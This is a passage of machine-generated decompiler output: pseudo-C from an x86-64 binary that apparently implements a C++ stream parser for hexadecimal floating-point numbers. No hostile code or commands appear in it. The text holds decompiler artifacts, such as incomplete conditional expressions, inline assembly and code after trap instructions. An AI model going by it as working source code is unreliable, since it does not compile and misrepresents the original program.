				signed int _t560;
				signed int _t561;
				signed int _t562;
				signed int _t563;
				signed int _t565;
				signed int _t566;
				void* _t567;
				void* _t568;
				void* _t569;
				void* _t570;
				void* _t571;
				void* _t572;
				void* _t573;
				signed int _t574;
				signed int _t575;
				signed int _t576;
				signed int _t578;
				signed int _t580;
				signed int _t582;
				void* _t584;
				signed int _t585;
				signed int _t588;
				signed int _t590;
				signed int _t592;
				signed int _t593;
				void* _t595;
				signed int _t596;
				signed int _t598;
				signed int _t600;
				void* _t602;
				char _t707;
				intOrPtr* _t708;
				intOrPtr* _t710;
				intOrPtr* _t713;
				signed short* _t716;
				char* _t718;
				signed long long _t720;
				intOrPtr _t725;
				char* _t730;
				signed long long _t732;
				signed short* _t734;
				signed short** _t736;
				signed short* _t739;
				signed short* _t742;
				signed short* _t745;
				signed short** _t747;
				signed short* _t750;
				signed short* _t753;
				signed short** _t755;
				signed short* _t759;
				signed short* _t762;
				signed short** _t764;
				signed short* _t767;
				signed short* _t770;
				signed short* _t773;
				signed short* _t776;
				char* _t778;
				signed long long _t780;
				signed short* _t782;
				signed short** _t784;
				signed short* _t787;
				signed short* _t790;
				char* _t793;
				signed short* _t796;
				signed short** _t798;
				signed short* _t801;
				signed short* _t804;
				intOrPtr* _t806;
				signed short** _t808;
				signed short* _t811;
				signed short* _t814;
				signed short* _t817;
				char* _t819;
				signed int _t820;
				signed short* _t822;
				signed short** _t824;
				signed short* _t827;
				signed short* _t830;
				signed short* _t832;
				intOrPtr _t833;
				void* _t836;
				long long _t837;
				intOrPtr* _t838;
				signed short* _t841;
				long long* _t843;
				signed int _t847;
				void* _t850;
				signed int _t853;
				signed short** _t856;
				signed short* _t859;
				signed short* _t864;
				signed short** _t866;
				signed short* _t870;
				signed short* _t873;
				signed short* _t876;
				intOrPtr* _t878;
				intOrPtr* _t879;
				void* _t881;
				long long* _t882;
				intOrPtr* _t885;
				intOrPtr* _t887;
				intOrPtr* _t889;
				intOrPtr* _t891;
				intOrPtr* _t893;
				intOrPtr* _t894;
				intOrPtr* _t895;
				intOrPtr* _t896;
				intOrPtr* _t897;
				intOrPtr* _t898;
				intOrPtr* _t900;
				intOrPtr* _t901;
				intOrPtr* _t902;
				intOrPtr* _t903;
				intOrPtr* _t904;
				intOrPtr* _t905;
				intOrPtr _t906;
				intOrPtr* _t907;
				intOrPtr* _t908;
				intOrPtr* _t909;
				intOrPtr* _t910;
				intOrPtr* _t911;
				intOrPtr* _t912;
				intOrPtr* _t914;
				intOrPtr* _t917;
				intOrPtr* _t918;
				intOrPtr* _t920;
				intOrPtr* _t921;
				intOrPtr* _t923;
				intOrPtr* _t924;
				intOrPtr* _t925;
				intOrPtr* _t927;
				intOrPtr* _t929;
				char* _t932;
				intOrPtr* _t934;
				intOrPtr* _t935;
				intOrPtr* _t936;
				intOrPtr* _t937;
				intOrPtr* _t939;
				intOrPtr* _t942;
				intOrPtr* _t944;
				char* _t946;
				intOrPtr* _t948;
				intOrPtr* _t950;
				intOrPtr* _t951;
				intOrPtr* _t952;
				intOrPtr _t953;
				char* _t954;
				signed long long _t956;
				void* _t958;
				intOrPtr _t961;
				intOrPtr _t962;
				intOrPtr* _t964;
				char* _t968;
				intOrPtr* _t970;
				intOrPtr* _t972;
				intOrPtr* _t973;
				intOrPtr* _t974;
				intOrPtr* _t976;
				intOrPtr* _t977;
				intOrPtr* _t979;
				intOrPtr* _t980;
				intOrPtr* _t982;
				intOrPtr* _t983;
				intOrPtr* _t986;
				signed int _t987;
				signed short* _t990;
				signed short* _t994;
				signed short* _t998;
				signed short* _t1001;
				signed short* _t1006;
				signed short* _t1010;
				signed short* _t1014;
				signed short* _t1018;
				signed short* _t1027;
				signed short* _t1028;
				signed short* _t1031;
				signed short* _t1036;
				signed int* _t1042;
				signed int* _t1044;
				signed int* _t1045;
				signed int* _t1046;
				signed int* _t1047;
				signed int* _t1048;
				signed int* _t1049;
				intOrPtr* _t1050;
				signed int* _t1051;
				signed int* _t1052;
				signed int _t1053;
				void* _t1054;
				intOrPtr _t1055;
				intOrPtr* _t1056;
				long long _t1058;
				signed short* _t1060;
				intOrPtr* _t1061;
				char* _t1062;
				void* _t1066;
				long long* _t1069;
				signed int _t1071;
				signed int _t1074;
				long long _t1075;
				void* _t1077;
				void* _t1078;
				intOrPtr* _t1079;
				long long _t1080;
				char* _t1081;
				signed int _t1083;
				char* _t1084;
				void* _t1085;
				void* _t1086;
				char* _t1088;
				void* _t1089;
				signed int _t1090;
				char* _t1091;
				long long _t1092;
				signed int _t1094;
				void* _t1095;
				short* _t1096;
				long long _t1099;
				long long _t1100;

				_t1095 = __r15;
				_t1089 = __r14;
				_t1086 = __r13;
				_t1078 = __r12;
				_t1075 = __r9;
				_t1069 = __r8;
				_t1042 = __rdi;
				_t987 = __rdx;
				_t881 = __rbx;
				_t1054 = __rax;
				_t707 = _v32;
				if(_t707 >= 0x10) {
					_t986 = _v56;
					if(_t707 + 1 >= 0x1000) {
						_t986 =  *((intOrPtr*)(_t986 - 8));
					}
					_t415 = E00402090(_t415, _t986);
				}
				_t416 = E0044CEA0(_t415, _t1054);
				asm("ud2");
				_t708 =  *_t1061;
				 *_t708 =  *_t708 + _t416;
				 *_t708 =  *_t708 + _t416;
				0;
				0;
				_t1062 =  &_v192;
				_a96 = _t1075;
				_t882 = _t1069;
				_t1090 = _t987;
				_t1055 = _a224;
				_t885 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_v32 = _t885;
				_t710 =  *_t885;
				 *((intOrPtr*)(_t710 + 0x10))(_t881, _t1042, _t1054, _t1078, _t1086, _t1089, _t1095, _t1061, _t1066);
				E00412FF0(_t530, _t549, _t557, _t602,  &_v32, _t1069, _t1075, _t1077, _t1078, _t1086, _t1090, _t1095);
				_t1079 = _t710;
				_t887 = _v32;
				if(_t887 != 0) {
					_t879 =  *_t887;
					 *((intOrPtr*)(_t879 + 0x18))();
					if(_t879 != 0) {
						 *((intOrPtr*)( *_t879 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1079 + 0x30))();
				_t889 =  *((intOrPtr*)( *((intOrPtr*)(_t1055 + 0x40))));
				_a40 = _t889;
				_t713 =  *_t889;
				 *((intOrPtr*)(_t713 + 0x10))();
				E004119C0(_t530, _t549, _t557, _t602,  &_a40, _t1069, _t1075, _t1077, _t1090);
				_t1056 = _t713;
				_t891 = _a40;
				if(_t891 != 0) {
					_t878 =  *_t891;
					 *((intOrPtr*)(_t878 + 0x18))();
					if(_t878 != 0) {
						 *((intOrPtr*)( *_t878 + 8))();
					}
				}
				 *((intOrPtr*)( *_t1056 + 0x68))();
				_t893 =  *_t882;
				_t568 = 0;
				_t558 = 0;
				if(_t893 != 0) {
					_t876 =  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x38))));
					if(_t876 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t893 + 0x50)))) <= 0) {
						_t524 =  *((intOrPtr*)( *_t893 + 0x38))();
					} else {
						_t524 =  *_t876 & 0x0000ffff;
					}
					_t558 = 0;
					dil = (_t524 & 0x0000ffff) != 0xffff;
				}
				_t894 =  *_a96;
				if(_t894 != 0) {
					_t873 =  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x38))));
					if(_t873 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t894 + 0x50)))) <= 0) {
						_t522 =  *((intOrPtr*)( *_t894 + 0x38))();
					} else {
						_t522 =  *_t873 & 0x0000ffff;
					}
					_t568 = 0;
					sil = (_t522 & 0x0000ffff) != 0xffff;
				}
				_t1096 = _t1090;
				if(_t558 != _t568) {
					if( *(_t882 + 8) == 0) {
						_t983 =  *_t882;
						if(_t983 == 0) {
							L34:
							 *_t882 = 0;
						} else {
							_t870 =  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x38))));
							if(_t870 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t983 + 0x50)))) <= 0) {
								_t521 =  *((intOrPtr*)( *_t983 + 0x38))();
							} else {
								_t521 =  *_t870 & 0x0000ffff;
							}
							_t531 = _t521 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L34;
							} else {
								 *(_t882 + 0xa) = _t521;
							}
						}
						 *(_t882 + 8) = 1;
					}
					_t517 =  *(_t882 + 0xa) & 0x0000ffff;
					if(_t517 != _a14) {
						__eflags = _t517 - _a12;
						_t1096 = _t1090;
						if(_t517 == _a12) {
							 *_t1090 = 0x2d;
							_t980 =  *_t882;
							__eflags = _t980;
							if(_t980 == 0) {
								goto L49;
							} else {
								_t866 =  *((intOrPtr*)(_t980 + 0x38));
								_t1036 =  *_t866;
								__eflags = _t1036;
								if(_t1036 == 0) {
									L46:
									_t519 =  *((intOrPtr*)( *_t980 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t980 + 0x50));
									_t600 =  *_t1042;
									__eflags = _t600;
									if(_t600 <= 0) {
										goto L46;
									} else {
										goto L45;
									}
								}
								goto L47;
							}
							goto L50;
						}
					} else {
						 *_t1090 = 0x2b;
						_t982 =  *_t882;
						if(_t982 == 0) {
							L49:
							 *_t882 = 0;
							_t518 = 1;
						} else {
							_t866 =  *((intOrPtr*)(_t982 + 0x38));
							_t1036 =  *_t866;
							if(_t1036 == 0) {
								L40:
								_t519 =  *((intOrPtr*)( *_t982 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t982 + 0x50));
								_t600 =  *_t1042;
								if(_t600 > 0) {
									L45:
									 *_t1042 = _t600 - 1;
									 *_t866 =  &(_t1036[1]);
									_t519 =  *_t1036 & 0x0000ffff;
								} else {
									goto L40;
								}
							}
							L47:
							if((_t519 & 0x0000ffff) == 0xffff) {
								goto L49;
							} else {
								_t518 = 0;
							}
						}
						L50:
						_t1096 = _t1090 + 1;
						 *(_t882 + 8) = _t518;
					}
				}
				 *_t1096 = 0x7830;
				_t895 =  *_t882;
				_t569 = 0;
				_t559 = 0;
				if(_t895 != 0) {
					_t864 =  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x38))));
					if(_t864 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t895 + 0x50)))) <= 0) {
						_t515 =  *((intOrPtr*)( *_t895 + 0x38))();
					} else {
						_t515 =  *_t864 & 0x0000ffff;
					}
					_t559 = 0;
					dil = (_t515 & 0x0000ffff) != 0xffff;
				}
				_t716 = _a96;
				_t896 =  *_t716;
				if(_t896 != 0) {
					_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x38))));
					if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t896 + 0x50)))) <= 0) {
						_t716 =  *_t896;
						_t513 = _t716[0x1c]();
					} else {
						_t513 =  *_t716 & 0x0000ffff;
					}
					_t569 = 0;
					sil = (_t513 & 0x0000ffff) != 0xffff;
				}
				if(_t559 == _t569) {
					L118:
					_t559 = 0;
				} else {
					if( *(_t882 + 8) == 0) {
						_t979 =  *_t882;
						if(_t979 == 0) {
							L72:
							 *_t882 = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t979 + 0x50)))) <= 0) {
								_t716 =  *_t979;
								_t512 = _t716[0x1c]();
							} else {
								_t512 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t512 & 0x0000ffff;
							if(_t531 == 0xffff) {
								goto L72;
							} else {
								 *(_t882 + 0xa) = _t512;
							}
						}
						 *(_t882 + 8) = 1;
					}
					if(( *(_t882 + 0xa) & 0x0000ffff) != _v32) {
						goto L118;
					} else {
						_t972 =  *_t882;
						if(_t972 == 0) {
							L85:
							 *_t882 = 0;
							 *(_t882 + 8) = 1;
							goto L86;
						} else {
							_t856 =  *((intOrPtr*)(_t972 + 0x38));
							_t1031 =  *_t856;
							if(_t1031 == 0) {
								L79:
								_t508 =  *((intOrPtr*)( *_t972 + 0x40))();
							} else {
								_t1042 =  *((intOrPtr*)(_t972 + 0x50));
								_t598 =  *_t1042;
								if(_t598 <= 0) {
									goto L79;
								} else {
									 *_t1042 = _t598 - 1;
									 *_t856 =  &(_t1031[1]);
									_t508 =  *_t1031 & 0x0000ffff;
								}
							}
							if((_t508 & 0x0000ffff) == 0xffff) {
								goto L85;
							} else {
								_t977 =  *_t882;
								 *(_t882 + 8) = 0;
								if(_t977 == 0) {
									L86:
									_t595 = 0;
								} else {
									_t859 =  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x38))));
									if(_t859 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t977 + 0x50)))) <= 0) {
										_t510 =  *((intOrPtr*)( *_t977 + 0x38))();
									} else {
										_t510 =  *_t859 & 0x0000ffff;
									}
									_t595 = 0;
									sil = (_t510 & 0x0000ffff) != 0xffff;
								}
							}
						}
						_t716 = _a96;
						_t973 =  *_t716;
						if(_t973 == 0) {
							_t500 = 0;
							__eflags = 0;
						} else {
							_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x38))));
							if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t973 + 0x50)))) <= 0) {
								_t716 =  *_t973;
								_t506 = _t716[0x1c]();
							} else {
								_t506 =  *_t716 & 0x0000ffff;
							}
							_t531 = _t506 & 0x0000ffff;
							_t500 = 0 | _t531 != 0x0000ffff;
						}
						dil = 1;
						if(_t595 != _t500) {
							if( *(_t882 + 8) == 0) {
								_t976 =  *_t882;
								if(_t976 == 0) {
									L105:
									 *_t882 = 0;
								} else {
									_t716 =  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x38))));
									if(_t716 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t976 + 0x50)))) <= 0) {
										_t716 =  *_t976;
										_t505 = _t716[0x1c]();
									} else {
										_t505 =  *_t716 & 0x0000ffff;
									}
									_t531 = _t505 & 0x0000ffff;
									if(_t531 == 0xffff) {
										goto L105;
									} else {
										 *(_t882 + 0xa) = _t505;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t501 =  *(_t882 + 0xa) & 0x0000ffff;
							if(_t501 == _a18 || _t501 == _a16) {
								_t974 =  *_t882;
								if(_t974 == 0) {
									L116:
									 *_t882 = 0;
									_t502 = 1;
								} else {
									_t716 =  *((intOrPtr*)(_t974 + 0x38));
									_t1028 =  *_t716;
									if(_t1028 == 0) {
										L113:
										_t716 =  *_t974;
										_t503 = _t716[0x20]();
									} else {
										_t1042 =  *((intOrPtr*)(_t974 + 0x50));
										_t596 =  *_t1042;
										if(_t596 <= 0) {
											goto L113;
										} else {
											 *_t1042 = _t596 - 1;
											 *_t716 =  &(_t1028[1]);
											_t503 =  *_t1028 & 0x0000ffff;
										}
									}
									if((_t503 & 0x0000ffff) == 0xffff) {
										goto L116;
									} else {
										_t502 = 0;
									}
								}
								 *(_t882 + 8) = _t502;
								goto L118;
							}
						}
					}
				}
				_a108 = _t559;
				_a112 = _t1096 + 2;
				_t1058 =  >  ? _v80 :  &_v80;
				_t423 =  *_t1058;
				_v48 = _t1079;
				if(_t423 == 0x7f || _t423 <= 0) {
					_t1080 = _t1090;
					r13d = 0;
					_t1091 =  &_v34;
					r15d = 0;
					while(1) {
						_t897 =  *_t882;
						__eflags = _t897;
						_t560 = 0;
						if(_t897 == 0) {
							goto L146;
						}
						_t822 =  *((intOrPtr*)( *((intOrPtr*)(_t897 + 0x38))));
						__eflags = _t822;
						if(_t822 == 0) {
							L144:
							_t487 =  *((intOrPtr*)( *_t897 + 0x38))();
						} else {
							__eflags =  *( *(_t897 + 0x50));
							if( *( *(_t897 + 0x50)) <= 0) {
								goto L144;
							} else {
								_t487 =  *_t822 & 0x0000ffff;
							}
						}
						_t560 = 0;
						__eflags = (_t487 & 0x0000ffff) - 0xffff;
						dil = (_t487 & 0x0000ffff) != 0xffff;
						__eflags = dil;
						L146:
						_t898 =  *_a96;
						__eflags = _t898;
						if(_t898 == 0) {
							_t424 = 0;
							__eflags = _t560;
							if(_t560 != 0) {
								goto L152;
							} else {
							}
						} else {
							_t830 =  *((intOrPtr*)( *((intOrPtr*)(_t898 + 0x38))));
							__eflags = _t830;
							if(_t830 == 0) {
								L150:
								_t483 =  *((intOrPtr*)( *_t898 + 0x38))();
							} else {
								__eflags =  *( *(_t898 + 0x50));
								if( *( *(_t898 + 0x50)) <= 0) {
									goto L150;
								} else {
									_t483 =  *_t830 & 0x0000ffff;
								}
							}
							__eflags = (_t483 & 0x0000ffff) - 0xffff;
							_t424 = 0 | __eflags != 0x00000000;
							if(__eflags != 0) {
								L152:
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t950 =  *_t882;
									__eflags = _t950;
									if(_t950 == 0) {
										L162:
										 *_t882 = 0;
									} else {
										_t827 =  *((intOrPtr*)( *((intOrPtr*)(_t950 + 0x38))));
										__eflags = _t827;
										if(_t827 == 0) {
											L159:
											_t424 =  *((intOrPtr*)( *_t950 + 0x38))();
										} else {
											__eflags =  *( *(_t950 + 0x50));
											if( *( *(_t950 + 0x50)) <= 0) {
												goto L159;
											} else {
												_t424 =  *_t827 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L162;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t532 =  *(_t882 + 0xa) & 0x0000ffff;
								_t718 = _t1091;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t550 =  *(_t718 + 2) & 0x0000ffff;
									_t718 = _t718 + 2;
									__eflags = _t550;
									if(_t550 == 0) {
										break;
									}
									__eflags = _t550 - _t532;
									if(_t550 != _t532) {
										continue;
									} else {
										break;
									}
									goto L171;
								}
								_t720 = _t718 -  &_v32 >> 1;
								__eflags = _t720 - 0x15;
								if(_t720 <= 0x15) {
									__eflags = r13d - 0x30;
									if(r13d < 0x30) {
										__eflags = r13d;
										if(r13d != 0) {
											L130:
											_t946 = _a112;
											 *_t946 =  *((intOrPtr*)(_t720 + "0123456789ABCDEFabcdef-+XxPp"));
											_a112 = _t946 + 1;
											r13d = r13d + 1;
											__eflags = r13d;
										} else {
											__eflags = _t720;
											if(_t720 != 0) {
												goto L130;
											} else {
												r13d = 0;
											}
										}
									} else {
										r15d = r15d + 1;
									}
									_t948 =  *_t882;
									__eflags = _t948;
									if(_t948 == 0) {
										L138:
										 *_t882 = 0;
										_t481 = 1;
									} else {
										_t824 =  *((intOrPtr*)(_t948 + 0x38));
										_t1018 =  *_t824;
										__eflags = _t1018;
										if(_t1018 == 0) {
											L135:
											_t485 =  *((intOrPtr*)( *_t948 + 0x40))();
										} else {
											_t1052 =  *((intOrPtr*)(_t948 + 0x50));
											_t590 =  *_t1052;
											__eflags = _t590;
											if(_t590 <= 0) {
												goto L135;
											} else {
												 *_t1052 = _t590 - 1;
												 *_t824 =  &(_t1018[1]);
												_t485 =  *_t1018 & 0x0000ffff;
											}
										}
										__eflags = (_t485 & 0x0000ffff) - 0xffff;
										if((_t485 & 0x0000ffff) == 0xffff) {
											goto L138;
										} else {
											_t481 = 0;
										}
									}
									 *(_t882 + 8) = _t481;
									_a108 = 1;
									continue;
								}
							}
						}
						_a88 = 0;
						_t1092 = _t1080;
						r12d = r15d;
						__eflags = _a108 & 0x00000001;
						if((_a108 & 0x00000001) != 0) {
							goto L169;
						}
						goto L171;
					}
				} else {
					r13d = 0;
					_a32 = _t1090;
					if(_v64 == 0) {
						_t424 = 0;
						__eflags = 0;
						_a88 = _t716;
					} else {
						_t853 =  *_t1079;
						_t424 =  *((intOrPtr*)(_t853 + 0x28))();
						_a88 = _t853;
					}
					_v40 = _t1058;
					_t1084 =  &_a48;
					_a48 = 0;
					asm("movaps xmm0, [0x358dd]");
					asm("movups [ebp+0x40], xmm0");
					_a84 = 0;
					r14d = 0;
					while(1) {
						_t951 =  *_t882;
						_t567 = 0;
						_t592 = 0;
						if(_t951 != 0) {
							_t841 =  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x38))));
							if(_t841 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t951 + 0x50)))) <= 0) {
								_t495 =  *((intOrPtr*)( *_t951 + 0x38))();
							} else {
								_t495 =  *_t841 & 0x0000ffff;
							}
							_t424 = _t495 & 0x0000ffff;
							_t592 = 0;
							sil = (_t495 & 0x0000ffff) != 0xffff;
						}
						_t832 = _a96;
						_t952 =  *_t832;
						if(_t952 != 0) {
							_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x38))));
							if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t952 + 0x50)))) <= 0) {
								_t832 =  *_t952;
								_t494 = _t832[0x1c]();
							} else {
								_t494 =  *_t832 & 0x0000ffff;
							}
							_t424 = _t494 & 0x0000ffff;
							_t567 = 0;
							dil = (_t494 & 0x0000ffff) != 0xffff;
						}
						if(_t592 == _t567) {
							break;
						}
						if( *(_t882 + 8) == 0) {
							_t970 =  *_t882;
							if(_t970 == 0) {
								L236:
								 *_t882 = 0;
							} else {
								_t832 =  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x38))));
								if(_t832 == 0 ||  *((intOrPtr*)( *((intOrPtr*)(_t970 + 0x50)))) <= 0) {
									_t832 =  *_t970;
									_t493 = _t832[0x1c]();
								} else {
									_t493 =  *_t832 & 0x0000ffff;
								}
								_t531 = _t493 & 0x0000ffff;
								if(_t531 == 0xffff) {
									goto L236;
								} else {
									 *(_t882 + 0xa) = _t493;
								}
							}
							 *(_t882 + 8) = 1;
						}
						_t424 =  *(_t882 + 0xa) & 0x0000ffff;
						_t954 =  &_v34;
						asm("o16 nop [cs:eax+eax]");
						while(1) {
							_t555 =  *(_t954 + 2) & 0x0000ffff;
							_t954 = _t954 + 2;
							if(_t555 == 0) {
								break;
							}
							if(_t555 != _t424) {
								continue;
							} else {
							}
							break;
						}
						_t956 = _t954 -  &_v32 >> 1;
						if(_t956 > 0x15) {
							__eflags = _a72 - 0xf;
							_t958 =  <=  ? _t1084 : _a48;
							__eflags =  *((char*)(_t958 + _t1090));
							if( *((char*)(_t958 + _t1090)) == 0) {
								break;
							} else {
								__eflags = _a88;
								if(_a88 == 0) {
									break;
								} else {
									__eflags = _t424 - _a88;
									if(_t424 != _a88) {
										break;
									} else {
										_t1099 = _a64;
										__eflags = _t1099 - 0xfffffffe;
										if(_t1099 >= 0xfffffffe) {
											_t489 = L00430CE0(_t530, _t555, _t602, _t832, "string too long", _t1042, _t1058);
											asm("ud2");
											_t1060 = _t832;
											_t837 = _a72;
											__eflags = _t837 - 0x10;
											if(_t837 >= 0x10) {
												_t962 = _a48;
												__eflags = _t837 + 1 - 0x1000;
												if(_t837 + 1 >= 0x1000) {
													_t962 =  *((intOrPtr*)(_t962 - 8));
												}
												_t489 = E00402090(_t489, _t962);
											}
											_t838 = _v56;
											__eflags = _t838 - 0x10;
											if(_t838 >= 0x10) {
												_t961 = _v80;
												_t838 = _t838 + 1;
												__eflags = _t838 - 0x1000;
												if(_t838 >= 0x1000) {
													_t961 =  *((intOrPtr*)(_t961 - 8));
												}
												_t489 = E00402090(_t489, _t961);
											}
											E0044CEA0(_t489, _t1060);
											asm("ud2");
											 *0x44eb4d =  *0x44eb4d + r8b;
											 *_t838 =  *_t838 + 0x64;
											_t413 = _t838 - 0x6f6f6f70;
											 *_t413 =  *(_t838 - 0x6f6f6f70) + _t555;
											__eflags =  *_t413;
											_push(_t1062);
											return 0x64;
										} else {
											_t1100 = _t1099 + 1;
											r8d = 0;
											_t492 = E00404270(_t424,  &_a40, _t1100);
											__eflags = _t492;
											if(_t492 != 0) {
												__eflags = _a72 - 0xf;
												_t967 =  <=  ? _t1084 : _a48;
												 *((char*)(( <=  ? _t1084 : _a48) + _a64)) = 0;
												__eflags = _a72 - 0xf;
												_t847 =  <=  ? _t1084 : _a48;
												__eflags = _t847;
												_a64 = _t1100;
												 *((char*)(_t847 + _t1100)) = 0;
											}
											_t1090 = _t1090 + 1;
											goto L208;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L205:
									_t968 = _a112;
									 *_t968 =  *((intOrPtr*)(_t956 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t968 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t956;
									if(_t956 != 0) {
										goto L205;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t850 =  <=  ? _t1084 : _a48;
							_t531 =  *(_t850 + _t1090);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t850 + _t1090) = _t531;
							}
							L208:
							_t964 =  *_t882;
							if(_t964 == 0) {
								L191:
								 *_t882 = 0;
								_t424 = 1;
								 *(_t882 + 8) = 1;
							} else {
								_t843 =  *((intOrPtr*)(_t964 + 0x38));
								_t1027 =  *_t843;
								if(_t1027 == 0) {
									L212:
									_t496 =  *((intOrPtr*)( *_t964 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t964 + 0x50));
									_t593 =  *_t1042;
									if(_t593 <= 0) {
										goto L212;
									} else {
										 *_t1042 = _t593 - 1;
										_t183 =  &(_t1027[1]); // 0x3
										 *_t843 = _t183;
										_t496 =  *_t1027 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L191;
								} else {
									_t424 = 0;
									 *(_t882 + 8) = 0;
								}
							}
							continue;
						}
						goto L530;
					}
					__eflags = _t1090;
					if(_t1090 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L256;
					} else {
						__eflags = _a72 - 0xf;
						_t836 =  <=  ? _t1084 : _a48;
						_t553 =  *((intOrPtr*)(_t836 + _t1090));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L256:
							_t833 = _a72;
						} else {
							_t424 = _t547;
							_t1094 = _t1090 + _t836;
							__eflags = _t1094;
							if(_t1094 == 0) {
								goto L256;
							} else {
								_t833 = _a72;
								__eflags = _t833 - 0xf;
								_t1085 =  >  ? _a48 : _t1084;
								_t1053 = _v40;
								while(1) {
									_t548 =  *_t1053 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1094 - 1;
									_t554 =  *(_t1085 + _t1094 - 1) & 0x000000ff;
									if(_t1094 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L379;
										} else {
											goto L251;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L251:
											_t1094 = _t1094 - 1;
											__eflags =  *(_t1053 + 1);
											if( *(_t1053 + 1) > 0) {
												_t1053 = _t1053 + 1;
												__eflags = _t1053;
											}
											__eflags = _t1094;
											if(_t1094 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L379:
											sil = 1;
										}
									}
									goto L257;
								}
								_t592 = 0;
							}
						}
					}
					L257:
					__eflags = _t833 - 0x10;
					_t1092 = _a32;
					r12d = _a84;
					if(_t833 >= 0x10) {
						_t953 = _a48;
						__eflags = _t833 + 1 - 0x1000;
						if(_t833 + 1 >= 0x1000) {
							_t953 =  *((intOrPtr*)(_t953 - 8));
						}
						_t424 = E00402090(_t424, _t953);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L169:
						__eflags = r13d;
						if(r13d == 0) {
							_t819 = _a112;
							 *_t819 = 0x30;
							_t820 = _t819 + 1;
							__eflags = _t820;
							_a112 = _t820;
						}
						goto L171;
					} else {
						L171:
						_t900 =  *_t882;
						_t570 = 0;
						__eflags = _t900;
						_t561 = 0;
						r15d = r12d;
						if(_t900 != 0) {
							_t817 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t817;
							if(_t817 == 0) {
								L175:
								_t479 =  *((intOrPtr*)( *_t900 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L175;
								} else {
									_t479 =  *_t817 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t901 =  *_a96;
						__eflags = _t901;
						if(_t901 != 0) {
							_t814 =  *((intOrPtr*)( *((intOrPtr*)(_t901 + 0x38))));
							__eflags = _t814;
							if(_t814 == 0) {
								L181:
								_t478 =  *((intOrPtr*)( *_t901 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t901 + 0x50));
								if( *( *(_t901 + 0x50)) <= 0) {
									goto L181;
								} else {
									_t478 =  *_t814 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L274:
							__eflags = r13d;
							if(r13d == 0) {
								goto L284;
							}
						} else {
							__eflags =  *(_t882 + 8);
							_t1050 = _v48;
							if( *(_t882 + 8) == 0) {
								_t944 =  *_t882;
								__eflags = _t944;
								if(_t944 == 0) {
									L266:
									 *_t882 = 0;
								} else {
									_t811 =  *((intOrPtr*)( *((intOrPtr*)(_t944 + 0x38))));
									__eflags = _t811;
									if(_t811 == 0) {
										L263:
